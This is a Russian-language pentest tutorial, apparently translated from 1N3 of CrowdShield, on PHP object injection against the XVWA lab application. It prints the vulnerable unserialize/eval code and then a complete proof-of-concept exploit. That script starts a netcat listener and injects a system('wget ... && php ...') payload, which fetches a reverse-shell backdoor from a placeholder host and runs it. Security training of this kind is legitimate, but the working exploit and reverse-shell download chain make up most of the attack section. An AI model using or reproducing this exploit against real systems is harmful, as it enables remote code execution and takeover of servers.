Эксплуатация уязвимостей, связанных с PHP-сериализацией и Object Injection

Эксплуатация уязвимостей, связанных с PHP-сериализацией и Object Injection

В этой короткой заметке будет рассказано об использовании уязвимостей, связанных с PHP-сериализацией и Object Injection, для получения удаленного шелла.

Автор: 1N3(@CrowdShield)

В этой короткой заметке будет рассказано об использовании уязвимостей, связанных с PHP-сериализацией и Object Injection, для получения удаленного шелла. Более подробная информация о сериализации в PHP представлена здесь: https://www.owasp.org/index.php/PHP_Object_Injection. Проверить свои навыки по поиску брешей можно на примере специальных приложений, например: XVWA и Kevgir.

Детектирование сериализации

Первый шаг – детектирование наличия PHP-сериализации в тестируемом приложении. Для решения этой задачи можно использовать расширение SuperSerial для Burpsuite (см. пример ниже). В данном расширении реализовано пассивное детектирование PHP или Java сериализации.

Рисунок 1: Процедура поиска PHP сериализации при помощи расширения SuperSerial

Анализ исходного кода

После того как мы обнаружили PHP сериализацию, начинается анализ исходного текста на предмет присутствия возможности удаленного запуска кода. Глядя на код ниже, важно отметить, что сериализованные объекты берутся через параметр «r» ($var1=unserialize($_REQUEST['r']);) десериализуются и попадают в функцию eval (eval($this->inject);), а затем отображаются при помощи функции echo (echo "< br/>".$var1[0]." - ".$var1[1];).

< ?php
error_reporting(E_ALL);
class PHPObjectInjection{
public $inject;

function __construct(){

}

function __wakeup(){
if(isset($this->inject)){
eval($this->inject);
}
}
}
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
if(isset($_REQUEST['r'])){

$var1=unserialize($_REQUEST['r']);

if(is_array($var1)){
echo "
".$var1[0]." - ".$var1[1];
}
}else{
echo "parameter is missing";
}
? >

Эксплуатация уязвимости

Для эксплуатации бреши мы создадим простой PHP-скрипт, автоматически генерирующий сериализованную полезную нагрузку, которая позволит выполнять произвольные команды на удаленном хосте. В данном случае было решено создать адаптивный реверсивный шелл при помощи скрипта http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz.

Примечание: Необходимо скопировать этот файл на ваш веб-сервер, обновить локальный IP-адрес и порт в скрипте, создающем реверсивный шелл и обновить код эксплоита ниже (указать адрес вашего сервера).

< ?php
/* PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP Object Injections flaws and gain remote shell access.
Shouts to @jstnkndy @yappare for the assist!
NOTE: This requires http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
setup on a remote host with a connect back IP configured
*/

print "==============================================================================\r\n";
print "PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print "==============================================================================\r\n";
print "[+] Generating serialized payload...[OK]\r\n";
print "[+] Launching reverse listener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp 1234\'');

class PHPObjectInjection
{
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
public $inject = "system('wget http://yourhost/phpobjbackdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
}

$url = 'http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TO TARGET URL/PARAMETER
$url = $url . urlencode(serialize(new PHPObjectInjection));
print "[+] Sending exploit...[OK]\r\n";
print "[+] Dropping down to interactive shell...[OK]\r\n";
print "==============================================================================\r\n";
$response = file_get_contents("$url");

? >

Демо пример

После всех подготовительных работ мы можем запустить эксплоит и создать полноценный удаленный шелл, позволяющий выполнять команды. За содействие выражаю благодарность @jstnkndy и @yappare!

Если вам нравится играть в опасную игру, присоединитесь к нам - мы научим вас правилам!

Подписаться